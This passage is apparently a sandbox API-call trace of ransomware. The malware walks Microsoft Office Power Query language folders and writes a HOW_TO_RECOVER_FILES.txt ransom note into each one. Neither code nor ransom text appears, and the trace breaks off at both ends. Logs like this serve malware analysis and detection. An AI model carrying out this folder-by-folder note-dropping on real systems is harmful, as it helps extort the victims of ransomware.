cAlternateFileName="MICROS~2.DLL")) returned 1 [0219.686] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x456248c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0219.686] FindNextFileW (in: hFindFile=0x134a6e0, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x456248c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0219.686] FindClose (in: hFindFile=0x134a6e0 | out: hFindFile=0x134a6e0) returned 1 [0219.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0219.687] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0219.687] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0219.687] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0219.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\tr\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\tr\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0219.689] GetFileType (hFile=0x824) returned 0x1 [0219.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0219.689] GetFileType (hFile=0x824) returned 0x1 [0219.689] WriteFile (in: hFile=0x824, lpBuffer=0x37fac38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x37fac38*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0219.690] CloseHandle (hObject=0x824) returned 1 [0219.690] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0219.690] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk", lpFilePart=0x0) returned 0x68 [0219.690] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134af20 [0219.692] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.692] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0219.692] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd55d11, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0219.693] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13037fa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0219.693] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37f90ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0219.693] FindNextFileW (in: hFindFile=0x134af20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.693] FindClose (in: hFindFile=0x134af20 | out: hFindFile=0x134af20) returned 1 [0219.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0219.694] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0219.694] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0219.694] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk", lpFilePart=0x0) returned 0x68 [0219.694] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b100 [0219.695] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.695] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd8e49f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x11040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0219.695] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd55d11, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2faa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0219.695] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf13037fa, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf13037fa, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1329a43, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0219.695] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37f90ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0219.696] FindNextFileW (in: hFindFile=0x134b100, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x37f90ac, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xaeaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 0 [0219.696] FindClose (in: hFindFile=0x134b100 | out: hFindFile=0x134b100) returned 1 [0219.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0219.696] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0219.697] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0219.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0219.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\uk\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\uk\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x824 [0219.698] GetFileType (hFile=0x824) returned 0x1 [0219.698] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0219.698] GetFileType (hFile=0x824) returned 0x1 [0219.699] WriteFile (in: hFile=0x824, lpBuffer=0x380e450*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x380e450*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0219.700] CloseHandle (hObject=0x824) returned 1 [0219.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0219.910] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi", lpFilePart=0x0) returned 0x68 [0219.910] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0219.911] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.911] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc34bb5b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc34bb5b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc34bb5b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0219.912] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4abf9f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0219.912] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d2a978, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d50bdc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x36aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0219.912] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4692737, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4692737, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x96aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0219.912] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0219.912] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0219.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0219.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0219.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0219.913] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi", lpFilePart=0x0) returned 0x68 [0219.913] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0219.914] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0219.914] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc34bb5b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc34bb5b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc34bb5b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x10040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0219.914] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4abf9f4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x29aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0219.914] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d2a978, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d50bdc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x36aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0219.914] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4692737, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4692737, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x96aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0219.915] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4692737, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4692737, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x96aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0219.915] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0219.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0219.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0219.915] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0219.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0219.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\vi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\vi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x82c [0219.919] GetFileType (hFile=0x82c) returned 0x1 [0219.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0219.919] GetFileType (hFile=0x82c) returned 0x1 [0219.919] WriteFile (in: hFile=0x82c, lpBuffer=0x3641070*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x3641070*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0219.920] CloseHandle (hObject=0x82c) returned 1 [0219.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0219.920] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS", lpFilePart=0x0) returned 0x6d [0219.920] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\zh-HANS\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 